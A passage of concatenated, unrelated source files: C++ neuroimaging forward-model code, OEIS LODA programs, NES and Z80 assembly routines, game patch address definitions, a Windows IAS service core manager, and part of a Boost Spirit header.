settings->accurate ? FWD_COIL_ACCURACY_ACCURATE : FWD_COIL_ACCURACY_NORMAL,
meg_head_t)) == Q_NULLPTR)
goto out;
if (ncomp > 0) {
if ((compcoils = templates->create_meg_coils(compchs,
ncomp,
FWD_COIL_ACCURACY_NORMAL,meg_head_t)) == Q_NULLPTR)
goto out;
}
if ((eegels = FwdCoilSet::create_eeg_els(eegchs,
neeg,
Q_NULLPTR)) == Q_NULLPTR)
goto out;
printf("Head coordinate coil definitions created.\n");
}
/*
* Transform the source spaces into the appropriate coordinates
*/
if (MneSurfaceOrVolume::mne_transform_source_spaces_to(settings->coord_frame,mri_head_t,spaces,nspace) != OK)
goto out;
printf("Source spaces are now in %s coordinates.\n",FiffCoordTransOld::mne_coord_frame_name(settings->coord_frame));
/*
* Prepare the BEM model if necessary
*/
if (!settings->bemname.isEmpty()) {
QString bemsolname = FwdBemModel::fwd_bem_make_bem_sol_name(settings->bemname);
// FREE(bemname);
settings->bemname = bemsolname;
printf("\nSetting up the BEM model using %s...\n",settings->bemname.toUtf8().constData());
printf("\nLoading surfaces...\n");
bem_model = FwdBemModel::fwd_bem_load_three_layer_surfaces(settings->bemname);
if (bem_model) {
printf("Three-layer model surfaces loaded.\n");
}
else {
bem_model = FwdBemModel::fwd_bem_load_homog_surface(settings->bemname);
if (!bem_model)
goto out;
printf("Homogeneous model surface loaded.\n");
}
if (neeg > 0 && bem_model->nsurf == 1) {
qCritical("Cannot use a homogeneous model in EEG calculations.");
goto out;
}
printf("\nLoading the solution matrix...\n");
if (FwdBemModel::fwd_bem_load_recompute_solution(settings->bemname.toUtf8().data(),FWD_BEM_UNKNOWN,FALSE,bem_model) == FAIL)
goto out;
if (settings->coord_frame == FIFFV_COORD_HEAD) {
printf("Employing the head->MRI coordinate transform with the BEM model.\n");
if (FwdBemModel::fwd_bem_set_head_mri_t(bem_model,mri_head_t) == FAIL)
goto out;
}
printf("BEM model %s is now set up\n",bem_model->sol_name.toUtf8().constData());
}
else
printf("Using the sphere model.\n");
printf ("\n");
/*
* Try to circumvent numerical problems by excluding points too close our ouside the inner skull surface
*/
if (settings->filter_spaces) {
if (!settings->mindistoutname.isEmpty()) {
out = fopen(settings->mindistoutname.toUtf8().constData(),"w");
if (out == Q_NULLPTR) {
qCritical() << settings->mindistoutname;
goto out;
}
printf("Omitted source space points will be output to : %s\n",settings->mindistoutname.toUtf8().constData());
}
if (MneSurfaceOrVolume::filter_source_spaces(settings->mindist,
settings->bemname.toUtf8().data(),
mri_head_t,
spaces,
nspace,out,settings->use_threads) == FAIL)
goto out;
if (out) {
fclose(out);
out = Q_NULLPTR;
}
}
/*
* Do the actual computation
*/
if (!bem_model)
settings->use_threads = false;
if (nmeg > 0)
if ((FwdBemModel::compute_forward_meg(spaces,
nspace,
megcoils,
compcoils,
comp_data,
settings->fixed_ori,
bem_model,
&settings->r0,
settings->use_threads,
&meg_forward,
settings->compute_grad ? &meg_forward_grad : Q_NULLPTR)) == FAIL)
goto out;
if (neeg > 0)
if ((FwdBemModel::compute_forward_eeg(spaces,
nspace,
eegels,
settings->fixed_ori,
bem_model,
eeg_model,
settings->use_threads,
&eeg_forward,
settings->compute_grad ? &eeg_forward_grad : Q_NULLPTR)) == FAIL)
goto out;
/*
* Transform the source spaces back into MRI coordinates
*/
if (MneSourceSpaceOld::mne_transform_source_spaces_to(FIFFV_COORD_MRI,mri_head_t,spaces,nspace) != OK)
goto out;
/*
* We are ready to spill it out
*/
printf("\nwriting %s...",settings->solname.toUtf8().constData());
if (!write_solution(settings->solname, /* Destination file */
spaces, /* The source spaces */
nspace,
settings->mriname,mri_id, /* MRI file and data obtained from there */
mri_head_t,
settings->measname,meas_id, /* MEG file and data obtained from there */
meg_head_t,
megchs,
nmeg,
eegchs,
neeg,
settings->fixed_ori, /* Fixed orientation dipoles? */
settings->coord_frame, /* Coordinate frame */
meg_forward,
eeg_forward,
meg_forward_grad,
eeg_forward_grad))
goto out;
if (!mne_attach_env(settings->solname,settings->command))
goto out;
printf("done\n");
res = true;
printf("\nFinished.\n");
out : {
// if (out)
// fclose(out);
for (k = 0; k < nspace; k++)
if(spaces[k])
delete spaces[k];
if(mri_head_t)
delete mri_head_t;
if(meg_head_t)
delete meg_head_t;
if(megcoils)
delete megcoils;
if(eegels)
delete eegels;
if(meg_forward)
delete meg_forward;
if(eeg_forward)
delete eeg_forward;
if(meg_forward_grad)
delete meg_forward_grad;
if(eeg_forward_grad)
delete eeg_forward_grad;
if (!res)
qCritical("err_print_error();");//err_print_error();
}
}
|
; A176332: Row sums of triangle A176331.
; Submitted by Jon Maiga
; 1,2,5,16,56,202,741,2752,10318,38972,148070,565280,2166646,8332378,32136205,124249856,481433286,1868972828,7267804550,28304698336,110383060776,431000853028,1684754608210,6592277745536,25818887839956,101206901953952,397031054526176,1558672906311232,6123205616794418,24069973737914362,94673173853392701,372577161143450624,1466994503296066630,5778965177765245356,22775534815539511726,89799239851533734752,354202738743060140576,1397644771930594540972,5516943606911197381718,21784572048498543445632
mov $2,$0
mov $4,$0
add $4,1
lpb $4
mov $0,$2
mul $3,-1
sub $4,1
sub $0,$4
mul $0,2
bin $0,$2
add $3,$0
lpe
mov $0,$3
|
; A221543: Number of 0..n arrays of length 5 with each element differing from at least one neighbor by something other than 1, starting with 0.
; 3,22,103,303,716,1455,2658,4487,7128,10791,15710,22143,30372,40703,53466,69015,87728,110007,136278,166991,202620,243663,290642,344103,404616,472775,549198,634527,729428,834591,950730,1078583,1218912,1372503,1540166,1722735,1921068,2136047,2368578,2619591,2890040,3180903,3493182,3827903,4186116,4568895,4977338,5412567,5875728,6367991,6890550,7444623,8031452,8652303,9308466,10001255,10732008,11502087,12312878,13165791,14062260,15003743,15991722,17027703,18113216,19249815,20439078,21682607,22982028,24338991,25755170,27232263,28771992,30376103,32046366,33784575,35592548,37472127,39425178,41453591,43559280,45744183,48010262,50359503,52793916,55315535,57926418,60628647,63424328,66315591,69304590,72393503,75584532,78879903,82281866,85792695,89414688,93150167,97001478,100970991
mov $1,$0
trn $0,3
add $0,3
mov $5,$1
lpb $1
mov $0,$3
mul $1,2
sub $1,2
lpe
mov $2,10
mov $6,$5
lpb $2
add $0,$6
sub $2,1
lpe
mov $4,$5
lpb $4
sub $4,1
add $7,$6
lpe
mov $2,6
mov $6,$7
lpb $2
add $0,$6
sub $2,1
lpe
mov $4,$5
mov $7,0
lpb $4
sub $4,1
add $7,$6
lpe
mov $2,5
mov $6,$7
lpb $2
add $0,$6
sub $2,1
lpe
mov $4,$5
mov $7,0
lpb $4
sub $4,1
add $7,$6
lpe
mov $2,1
mov $6,$7
lpb $2
add $0,$6
sub $2,1
lpe
|
; Tests length counter timing in mode 0.
.include "prefix_apu.a"
reset:
jsr setup_apu
lda #2;) First length is clocked too soon
sta result
jsr sync_apu
lda #$18 ; load length with 2
sta $4003
lda #$c0 ; clock length
sta $4017
lda #$00 ; begin mode 0
sta $4017
ldy #53 ; 14911 delay
lda #55
jsr delay_ya1
lda $4015 ; read at 14915
jsr should_be_playing
lda #3;) First length is clocked too late
sta result
jsr sync_apu
lda #$18 ; load length with 2
sta $4003
lda #$c0 ; clock length
sta $4017
lda #$00 ; begin mode 0
sta $4017
ldy #53 ; 14912 delay
lda #55
jsr delay_ya2
lda $4015 ; read at 14916
jsr should_be_silent
lda #4;) Second length is clocked too soon
sta result
jsr sync_apu
lda #$18 ; load length with 2
sta $4003
lda #$00 ; begin mode 0
sta $4017
ldy #110 ; 29827 delay
lda #53
jsr delay_ya0
lda $4015 ; read at 29831
jsr should_be_playing
lda #5;) Second length is clocked too late
sta result
jsr sync_apu
lda #$18 ; load length with 2
sta $4003
lda #$00 ; begin mode 0
sta $4017
ldy #110 ; 29828 delay
lda #53
jsr delay_ya1
lda $4015 ; read at 29832
jsr should_be_silent
lda #6;) Third length is clocked too soon
sta result
jsr sync_apu
lda #$28 ; load length with 4
sta $4003
lda #$c0 ; clock length
sta $4017
lda #$00 ; begin mode 0
sta $4017
ldy #58 ; 44741 delay
lda #153
jsr delay_ya6
lda $4015 ; read at 44745
jsr should_be_playing
lda #7;) Third length is clocked too late
sta result
jsr sync_apu
lda #$28 ; load length with 4
sta $4003
lda #$c0 ; clock length
sta $4017
lda #$00 ; begin mode 0
sta $4017
ldy #58 ; 44741 delay
lda #153
jsr delay_ya7
lda $4015 ; read at 44746
jsr should_be_silent
lda #1;) Passed tests
sta result
error:
jmp report_final_result
should_be_playing:
and #$01
beq error
rts
should_be_silent:
and #$01
bne error
rts
|
;
;Based on the SG C Tools 1.7
;(C) 1993 Steve Goldsmith
;
;$Id: outvdc_callee.asm,v 1.4 2016-06-16 21:13:07 dom Exp $
;
;set vdc register
SECTION code_clib
PUBLIC outvdc_callee
PUBLIC _outvdc_callee
PUBLIC asm_outvdc
outvdc_callee:
_outvdc_callee:
pop hl
pop de
ex (sp),hl
asm_outvdc:
ld a,l
ld bc,0d600h ;vdc status port
out (c),a ;set reg to read
test7:
in a,(c) ;repeat
bit 7,a ; test bit 7
jr z,test7 ;until bit 7 high
inc bc ;vdc data register
out (c),e ;set data
ret
;void outvdc(uchar RegNum, uchar RegVal)
;{
; outp(vdcStatusReg,RegNum); /* internal vdc register to write */
; while ((inp(vdcStatusReg) & 0x80) == 0x00); /* wait for status bit to be set */
; outp(vdcDataReg,RegVal); /* write register */
;}
|
%include "include/u7si-all-includes.asm"
defineAddress 325, 0x0A87, SaveSlot_processInput_loopForMouseUp
defineAddress 333, 0x0080, SaveDialog_appendChar_testSpecialKey
defineAddress 333, 0x009A, SaveDialog_appendChar_maybeTruncate
defineAddress 333, 0x00B8, SaveDialog_appendChar_afterTruncate
defineAddress 333, 0x00C4, SaveDialog_appendChar_append
defineAddress 333, 0x00D7, SaveDialog_appendChar_endProc
defineAddress 333, 0x1084, keyOrMouse
defineAddress 333, 0x1096, handleKeyWithActiveSlot
defineAddress 333, 0x10CE, handleKeyAfterBlinking
defineAddress 333, 0x11C0, determineSlotTextWidth
defineAddress 333, 0x1268, textNoLongerUnedited
defineAddress 333, 0x126D, enableOrDisableSaveButton
defineAddress 333, 0x1318, handleKey
defineAddress 333, 0x13E0, handleMouseButton1
defineAddress 333, 0x1402, triggerClose
defineAddress 333, 0x14E3, triggerSave
defineAddress 333, 0x150F, triggerLoad
defineAddress 333, 0x1556, saveSlotLoopStart
defineAddress 333, 0x1733, SaveDialog_processInput_end
%include "../u7-common/patch-saveDialog.asm"
|
///////////////////////////////////////////////////////////////////////////
//
// Copyright(C) 1997-1998 Microsoft Corporation all rights reserved.
//
// Module: sdocoremgr.cpp
//
// Project: Everest
//
// Description: IAS - Server Core Manager Implementation
//
// Log:
//
// When Who What
// ---- --- ----
// 6/08/98 TLP Initial Version
//
///////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "sdocoremgr.h"
#include "sdohelperfuncs.h"
#include "sdocomponentfactory.h"
#include "sdo.h"
#include "sdoserviceias.h"
/////////////////////////
// Core manager retrieval
CCoreMgr& GetCoreManager(void)
{
//////////////////////////////////////////////////////////////////////////
static CCoreMgr theCoreManager; // The one and only core manager
//////////////////////////////////////////////////////////////////////////
return theCoreManager;
}
//////////////////////////////////////////////////////////////////////////////
// IAS CORE MANAGER CLASS IMPLEMENTATION
//
// This class is responsible for managing the lifetimes of the components
// that do "real" work. It also provides services to the class that
// implements the ISdoService interface.
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
// Constructor
//////////////////////////////////////////////////////////////////////////////
CCoreMgr::CCoreMgr()
: m_eCoreState(CORE_STATE_SHUTDOWN)
{
}
//////////////////////////////////////////////////////////////////////////////
//
// Function: CCoreMgr::StartService()
//
// Visibility: Public
//
// Inputs: eType: type of service to stop
//
// Outputs: S_OK - function succeeded - service started.
// E_FAIL - function failed - service not started.
//
// Description: Starts a specified IAS service.
//
//////////////////////////////////////////////////////////////////////////////
HRESULT CCoreMgr::StartService(SERVICE_TYPE eType)
{
HRESULT hr = S_OK;
LONG lProtocolId;
bool fUpdateConfiguration = true;
do
{
// Initialize the core if we've not already done so...
//
if ( CORE_STATE_SHUTDOWN == m_eCoreState )
{
hr = InitializeComponents();
if ( FAILED(hr) )
break;
// No need to update configuration (InitializeComponents() just did)
//
fUpdateConfiguration = false;
}
// Start the requested service if it ain't already started
//
if ( ! m_ServiceStatus.IsServiceStarted(eType) )
{
switch ( eType )
{
case SERVICE_TYPE_IAS:
lProtocolId = IAS_PROTOCOL_MICROSOFT_RADIUS;
break;
case SERVICE_TYPE_RAS:
lProtocolId = IAS_PROTOCOL_MICROSOFT_SURROGATE;
break;
default:
// BAD! - tar and feather the caller
//
_ASSERT(FALSE);
break;
};
hr = E_FAIL;
// Brackets provide scope that ensures the protocol
// handle is released before invoking ShutdownComponents().
// This allows all protocols to be released in the
// context of the ShutdownProtocols() function.
{
ComponentMapIterator iter = m_Protocols.find(lProtocolId);
_ASSERT( iter != m_Protocols.end() );
if ( iter != m_Protocols.end() )
{
// Update the service configuration if we're already
// initialized and we're just resuming a protocol. We need
// to do this because the service may be started in an
// instance of svchost running another of our services.
//
// For example, RRAS is running automatically and then the
// user configures IAS via the IAS UI and then starts the
// IAS service. If the service starts in the instance of
// svchost running RRAS then we need to update its
// configuration.
hr = S_OK;
if ( fUpdateConfiguration )
{
hr = UpdateConfiguration();
if ( FAILED(hr) )
IASTracePrintf("IAS Core Manager was unable to configure service: %d...", eType);
}
if ( SUCCEEDED(hr) )
{
ComponentPtr pProtocol = (*iter).second;
hr = pProtocol->Resume();
}
}
}
if ( SUCCEEDED(hr) )
{
m_ServiceStatus.SetServiceStatus(eType, IAS_SERVICE_STATUS_STARTED);
// TODO: Log Service Started Event (IAS Only)
IASTracePrintf("IAS Core Manager successfully started service %d...", eType);
}
else
{
// TODO: Log Service Failed Event (IAS Only)
// This function did not succeed so shutdown the core if no
// other services are started.
//
if ( ! m_ServiceStatus.IsAnyServiceStarted() )
ShutdownComponents();
}
}
} while ( FALSE );
return hr;
}
//////////////////////////////////////////////////////////////////////////////
//
// Function: CCoreMgr::StopService()
//
// Visibility: Public
//
// Inputs: eType: type of service to stop
//
// Outputs: S_OK - function succeeded - service started.
// E_FAIL - function failed - service not started.
//
// Description: Stops a specified IAS service.
//
//////////////////////////////////////////////////////////////////////////////
HRESULT CCoreMgr::StopService(SERVICE_TYPE eType)
{
HRESULT hr = E_FAIL;
LONG lProtocolId;
do
{
switch ( eType )
{
case SERVICE_TYPE_IAS:
lProtocolId = IAS_PROTOCOL_MICROSOFT_RADIUS;
break;
case SERVICE_TYPE_RAS:
lProtocolId = IAS_PROTOCOL_MICROSOFT_SURROGATE;
break;
default:
// BAD! - tar and feather the caller
//
_ASSERT(FALSE);
break;
};
// Brackets provide scope that ensures the protocol
// handle is released before invoking ShutdownComponents().
// This allows all protocols to be released in the
// context of the ShutdownProtocols() function.
{
ComponentMapIterator iter = m_Protocols.find(lProtocolId);
if ( iter == m_Protocols.end() )
break;
ComponentPtr pProtocol = (*iter).second;
hr = pProtocol->Suspend();
if ( SUCCEEDED(hr) )
IASTracePrintf("IAS Core Manager stopped service %d...", eType);
}
m_ServiceStatus.SetServiceStatus(eType, IAS_SERVICE_STATUS_STOPPED);
// Shutdown the core if this was the last active service
//
if ( ! m_ServiceStatus.IsAnyServiceStarted() )
ShutdownComponents();
} while ( FALSE );
return hr;
}
//////////////////////////////////////////////////////////////////////////////
//
// Function: CCoreMgr::UpdateConfiguration()
//
// Visibility: Public
//
// Inputs: None
//
// Outputs: S_OK - function succeeded - service started.
// E_FAIL - function failed - service not started.
//
// Description: Used to update the configuration information used
// by the core components.
//
//////////////////////////////////////////////////////////////////////////////
HRESULT CCoreMgr::UpdateConfiguration()
{
HRESULT hr = E_FAIL;
_ASSERT ( CORE_STATE_INITIALIZED == m_eCoreState );
IASTracePrintf("IAS Core Manager is updating component configuration...");
do
{
CComPtr<ISdoMachine> pSdoMachine;
hr = CoCreateInstance(
CLSID_SdoMachine,
NULL,
CLSCTX_INPROC_SERVER,
IID_ISdoMachine,
(void**)&pSdoMachine
);
if ( FAILED(hr) )
break;
IASTracePrintf("IAS Core Manager is attaching to the local machine...");
hr = pSdoMachine->Attach(NULL);
if ( FAILED(hr) )
break;
// Get the service SDO
//
CComPtr<IUnknown> pUnknown;
hr = pSdoMachine->GetServiceSDO(GetDataStore(), IASServiceName, &pUnknown);
if ( FAILED(hr) )
break;
CComPtr<CSdoServiceIAS> pSdoService;
hr = pUnknown->QueryInterface(__uuidof(SdoService), (void**)&pSdoService);
if ( FAILED(hr) )
{
IASTracePrintf("Error in Core Manager - InitializeComponents() - QueryInterface(ISdo) failed...");
break;
}
hr = ConfigureAuditors(pSdoService);
if ( FAILED(hr) )
break;
CComPtr<IDataStoreObject> dstore;
pSdoService->getDataStoreObject(&dstore);
hr = LinkHandlerProperties(pSdoService, dstore);
if ( FAILED(hr) )
break;
hr = m_PipelineMgr.Configure(pSdoService);
if ( FAILED(hr) )
break;
hr = ConfigureProtocols(pSdoService);
if ( FAILED(hr) )
break;
} while ( FALSE );
return hr;
}
//////////////////////////////////////////////////////////////////////////////
// Core Manager Private Member Functions
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
HRESULT CCoreMgr::InitializeComponents(void)
{
HRESULT hr;
_ASSERT ( CORE_STATE_SHUTDOWN == m_eCoreState );
do
{
IASTraceInitialize();
IASTraceString("IAS Core Manager is initializing the IAS components...");
IASInitialize();
CComPtr<ISdoMachine> pSdoMachine;
hr = CoCreateInstance(
CLSID_SdoMachine,
NULL,
CLSCTX_INPROC_SERVER,
IID_ISdoMachine,
(void**)&pSdoMachine
);
if ( FAILED(hr) )
break;
IASTracePrintf("IAS Core Manager is attaching to the local machine...");
hr = pSdoMachine->Attach(NULL);
if ( FAILED(hr) )
break;
CComPtr<IUnknown> pUnknown;
hr = pSdoMachine->GetServiceSDO(GetDataStore(), IASServiceName, &pUnknown);
if ( FAILED(hr) )
break;
CComPtr<CSdoServiceIAS> pSdoService;
hr = pUnknown->QueryInterface(__uuidof(SdoService), (void**)&pSdoService);
if ( FAILED(hr) )
{
IASTracePrintf("Error in Core Manager - InitializeComponents() - QueryInterface(ISdo - Service) failed...");
break;
}
hr = InitializeAuditors(pSdoService);
if ( FAILED(hr) )
break;
CComPtr<IDataStoreObject> dstore;
pSdoService->getDataStoreObject(&dstore);
hr = LinkHandlerProperties(pSdoService, dstore);
if ( FAILED(hr) )
{
ShutdownAuditors();
break;
}
hr = m_PipelineMgr.Initialize(pSdoService);
if ( FAILED(hr) )
{
ShutdownAuditors();
break;
}
hr = InitializeProtocols(pSdoService);
if ( FAILED(hr) )
{
m_PipelineMgr.Shutdown();
ShutdownAuditors();
break;
}
m_eCoreState = CORE_STATE_INITIALIZED;
} while (FALSE);
if ( FAILED(hr) )
{
IASUninitialize();
IASTraceUninitialize();
}
return hr;
}
//////////////////////////////////////////////////////////////////////////////
void CCoreMgr::ShutdownComponents(void)
{
_ASSERT ( CORE_STATE_INITIALIZED == m_eCoreState );
IASTracePrintf("IAS Core Manager is shutting down the IAS components...");
ShutdownProtocols();
m_PipelineMgr.Shutdown();
ShutdownAuditors();
IASUninitialize();
IASTraceUninitialize();
m_eCoreState = CORE_STATE_SHUTDOWN;
}
//////////////////////////////////////////////////////////////////////////////
IASDATASTORE CCoreMgr::GetDataStore()
{
CRegKey IASKey;
LONG lResult = IASKey.Open( HKEY_LOCAL_MACHINE, IAS_POLICY_REG_KEY, KEY_READ );
if ( lResult == ERROR_SUCCESS )
{
DWORD dwValue;
lResult = IASKey.QueryValue( dwValue, (LPCTSTR)IAS_DATASTORE_TYPE );
if ( lResult == ERROR_SUCCESS )
return (IASDATASTORE)dwValue;
}
return DATA_STORE_LOCAL;
}
//////////////////////////////////////////////////////////////////////////////
HRESULT CCoreMgr::InitializeAuditors(ISdo* pSdoService)
{
HRESULT hr;
LONG lComponentId;
CComPtr<IEnumVARIANT> pEnumAuditors;
CComPtr<ISdo> pSdoAuditor;
// Note about state: When this function completes, either all of the
// auditors are initialized or none of the auditors are initialized
IASTracePrintf("IAS Core Manager is initializing the auditors...");
try
{
do
{
hr = ::SDOGetCollectionEnumerator(pSdoService, PROPERTY_IAS_AUDITORS_COLLECTION, &pEnumAuditors);
if ( FAILED(hr) )
break;
hr = ::SDONextObjectFromCollection(pEnumAuditors, &pSdoAuditor);
while ( S_OK == hr )
{
hr = ::SDOGetComponentIdFromObject(pSdoAuditor, &lComponentId);
if ( FAILED(hr) )
break;
{
ComponentPtr pAuditor = ::MakeComponent(COMPONENT_TYPE_AUDITOR, lComponentId);
if ( ! pAuditor.IsValid() )
{
hr = E_FAIL;
break;
}
hr = pAuditor->Initialize(pSdoAuditor);
if ( FAILED(hr) )
break;
if ( ! AddComponent(lComponentId, pAuditor, m_Auditors) )
{
hr = E_FAIL;
break;
}
}
pSdoAuditor.Release();
hr = ::SDONextObjectFromCollection(pEnumAuditors, &pSdoAuditor);
}
if ( S_FALSE == hr )
hr = S_OK;
} while ( FALSE );
}
catch(...)
{
IASTracePrintf("Error in IAS Core Manager - InitializeAuditors() - Caught unknown exception...");
hr = E_FAIL;
}
if ( FAILED(hr) )
{
IASTracePrintf("Error in IAS Core Manager - InitializeAuditors() - Could not initialize the auditors...");
ShutdownAuditors();
}
return hr;
}
//////////////////////////////////////////////////////////////////////////////
HRESULT CCoreMgr::ConfigureAuditors(ISdo* pSdoService)
{
HRESULT hr = S_OK;
IASTracePrintf("IAS Core Manager is configuring the auditors...");
try
{
// Try to update the configuration settings for each request handler. We
// assume that auditors are autonomous with respect to configuration
// and if one fails to configure we'll continue to try to configure the others
//
ComponentMapIterator iter = m_Auditors.begin();
while ( iter != m_Auditors.end() )
{
CComPtr <ISdo> pSdoComponent;
ComponentPtr pAuditor = (*iter).second;
// get the component from the collection
hr = ::SDOGetComponentFromCollection (pSdoService, PROPERTY_IAS_AUDITORS_COLLECTION, pAuditor->GetId (), &pSdoComponent);
if (SUCCEEDED (hr))
{
hr = pAuditor->Configure(pSdoComponent);
if ( FAILED(hr) )
{
IASTracePrintf("IAS Core Manager - ConfigureAuditors() - Auditor %d could not be configured...", pAuditor->GetId());
hr = S_OK;
}
}
else
{
IASTracePrintf("IAS Core Manager - ConfigureAuditors() - unable to get component from collection in auditor %d...", pAuditor->GetId());
hr = S_OK;
}
iter++;
}
}
catch(...)
{
IASTracePrintf("Error in IAS Core Manager - ConfigureAuditors() - Caught unknown exception...");
hr = E_FAIL;
}
return hr;
}
//////////////////////////////////////////////////////////////////////////////
void CCoreMgr::ShutdownAuditors(void)
{
IASTracePrintf("IAS Core Manager is shutting down the auditors...");
try
{
ComponentMapIterator iter = m_Auditors.begin();
while ( iter != m_Auditors.end() )
{
ComponentPtr pAuditor = (*iter).second;
pAuditor->Suspend();
pAuditor->Shutdown();
iter = m_Auditors.erase(iter);
}
}
catch(...)
{
IASTracePrintf("Error in IAS Core Manager - ShutdownAuditors() - Caught unknown exception...");
}
}
//////////////////////////////////////////////////////////////////////////////
HRESULT CCoreMgr::InitializeProtocols(ISdo* pSdoService)
{
HRESULT hr = E_FAIL;
IASTracePrintf("IAS Core Manager is initializing the protocols...");
// Note about state: When this function completes, either all of the
// protocols are initialized or none of the protocols are initialized
try
{
do
{
CComPtr<IRequestHandler> pRequestHandler;
m_PipelineMgr.GetPipeline(&pRequestHandler);
CComPtr<IEnumVARIANT> pEnumProtocols;
hr = ::SDOGetCollectionEnumerator(pSdoService, PROPERTY_IAS_PROTOCOLS_COLLECTION, &pEnumProtocols);
if ( FAILED(hr) )
break;
LONG lComponentId;
CComPtr<ISdo> pSdoProtocol;
hr = ::SDONextObjectFromCollection(pEnumProtocols, &pSdoProtocol);
while ( S_OK == hr )
{
hr = ::SDOGetComponentIdFromObject(pSdoProtocol, &lComponentId);
if ( FAILED(hr) )
break;
{
ComponentPtr pProtocol = ::MakeComponent(COMPONENT_TYPE_PROTOCOL, lComponentId);
if ( ! pProtocol.IsValid() )
{
hr = E_FAIL;
break;
}
// Don't treat protocol initialization as a critical failure
//
hr = pProtocol->Initialize(pSdoProtocol);
if ( SUCCEEDED(hr) )
{
hr = pProtocol->PutObject(pRequestHandler, IID_IRequestHandler);
if ( FAILED(hr) )
break;
hr = pProtocol->Suspend();
if ( FAILED(hr) )
break;
if ( ! AddComponent(lComponentId, pProtocol, m_Protocols) )
{
hr = E_FAIL;
break;
}
}
pSdoProtocol.Release();
}
hr = ::SDONextObjectFromCollection(pEnumProtocols, &pSdoProtocol);
}
if ( S_FALSE == hr )
hr = S_OK;
} while ( FALSE );
}
catch(...)
{
IASTracePrintf("Error in IAS Core Manager - InitializeProtocols() - Caught unknown exception...");
hr = E_FAIL;
}
if ( FAILED(hr) )
{
IASTracePrintf("Error in IAS Core Manager - InitializeProtocols() - Could not initialize the protocols...");
ShutdownProtocols();
}
return hr;
}
//////////////////////////////////////////////////////////////////////////////
HRESULT CCoreMgr::ConfigureProtocols(ISdo* pSdoService)
{
HRESULT hr = S_OK;
IASTracePrintf("IAS Core Manager is configuring the protocols...");
// Try to update the configuration settings for each protocol
// Note we assume the request handler used by a protocol is not
// dynamically configurable!
//
try
{
ComponentMapIterator iter = m_Protocols.begin();
while ( iter != m_Protocols.end() )
{
CComPtr<ISdo> pSdoComponent;
ComponentPtr pProtocol = (*iter).second;
// get the protocol collection
hr = ::SDOGetComponentFromCollection (pSdoService, PROPERTY_IAS_PROTOCOLS_COLLECTION, pProtocol->GetId (), &pSdoComponent);
if (SUCCEEDED (hr))
{
hr = pProtocol->Configure(pSdoComponent);
if ( FAILED(hr) )
{
IASTracePrintf("IAS Core Manager - ConfigureProtocols() - Protocol %d could not be configured...", pProtocol->GetId());
hr = S_OK;
}
}
else
{
IASTracePrintf("IAS Core Manager - ConfigureProtocols() - unnable to get component from collection for protocol %d...", pProtocol->GetId());
hr = S_OK;
}
iter++;
}
}
catch(...)
{
IASTracePrintf("Error in IAS Core Manager - ConfigureProtocols() - Caught unknown exception...");
hr = E_FAIL;
}
return hr;
}
//////////////////////////////////////////////////////////////////////////////
void CCoreMgr::ShutdownProtocols(void)
{
IASTracePrintf("IAS Core Manager is shutting down the protocols...");
try
{
ComponentMapIterator iter = m_Protocols.begin();
while ( iter != m_Protocols.end() )
{
ComponentPtr pProtocol = (*iter).second;
// We only initialize a protocol when its associated
// service (IAS or RAS currently) is started.
if ( COMPONENT_STATE_INITIALIZED == pProtocol->GetState() )
pProtocol->Suspend();
pProtocol->Shutdown();
iter = m_Protocols.erase(iter);
}
}
catch(...)
{
IASTracePrintf("Error in IAS Core Manager - ShutdownProtocols() - Caught unknown exception...");
}
}
|
// Copyright (c) 2001-2010 Hartmut Kaiser
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#if !defined(BOOST_SPIRIT_ADAPT_CLASS_ATTRIBUTES_JAN_27_2010_1219PM)
#define BOOST_SPIRIT_ADAPT_CLASS_ATTRIBUTES_JAN_27_2010_1219PM
#if defined(_MSC_VER)
#pragma once
#endif
#include <boost/spirit/home/support/attributes.hpp>
#include <boost/spirit/home/support/container.hpp>
#include <boost/fusion/include/adapt_class.hpp>
#include <boost/utility/enable_if.hpp>
///////////////////////////////////////////////////////////////////////////////
// forward declaration only
namespace boost { namespace fusion { namespace extension
{
template <typename T, int N> struct class_member_proxy;
}}}
///////////////////////////////////////////////////////////////////////////////
// customization points allowing to use adapted classes with spirit
namespace boost { namespace spirit { namespace traits
{
///////////////////////////////////////////////////////////////////////////
template <typename T, int N>
struct is_container<fusion::extension::class_member_proxy<T, N> >
: is_container<typename fusion::extension::class_member_proxy<T, N>::type>
{};
template <typename T, int N>
struct container_value<fusion::extension::class_member_proxy<T, N> >
: container_value<typename fusion::extension::class_member_proxy<T, N>::type>
{};
template <typename T, int N, typename Val>
struct push_back_container<fusion::extension::class_member_proxy<T, N>, Val
, typename enable_if<
is_reference<typename fusion::extension::class_member_proxy<T, N>::type>
>::type>
{
static bool call(fusion::extension::class_member_proxy<T, N>& p, Val const& val)
{
typedef typename fusion::extension::class_member_proxy<T, N>::type type;
return push_back((type)p, val);
}
};
template <typename T, int N>
struct container_iterator<fusion::extension::class_member_proxy<T, N> >
: container_iterator<typename fusion::extension::class_member_proxy<T, N>::type>
{};
///////////////////////////////////////////////////////////////////////////
template <typename T, int N, typename Val>
struct assign_to_attribute_from_value<
fusion::extension::class_member_proxy<T, N>, Val>
{
static void
call(Val const& val, fusion::extension::class_member_proxy<T, N>& attr)
{
attr = val;
}
};
///////////////////////////////////////////////////////////////////////////
template <typename T, int N>
struct attribute_type<fusion::extension::class_member_proxy<T, N> >
: fusion::extension::class_member_proxy<T, N>
{};
///////////////////////////////////////////////////////////////////////////
template <typename T, int N, typename Attribute, typename Domain>
struct transform_attribute<
fusion::extension::class_member_proxy<T, N>, Attribute, Domain
, typename disable_if<
is_reference<typename fusion::extension::class_member_proxy<T, N>::lvalue>
>::type>
{
typedef Attribute type;
static Attribute
pre(fusion::extension::class_member_proxy<T, N>& val)
{
return val;
}
static void
post(fusion::extension::class_member_proxy<T, N>& val
, Attribute const& attr)
{
val = attr;
}
static void
fail(fusion::extension::class_member_proxy<T, N>&)
{
}
};
template <typename T, int N, typename Attribute, typename Domain>
struct transform_attribute<
fusion::extension::class_member_proxy<T, N>, Attribute, Domain
, typename enable_if<
is_reference<typename fusion::extension::class_member_proxy<T, N>::lvalue>
>::type>
{
typedef Attribute& type;
static Attribute&
pre(fusion::extension::class_member_proxy<T, N>& val)
{
return val;
}
static void
post(fusion::extension::class_member_proxy<T, N>&, Attribute const&)
{
}
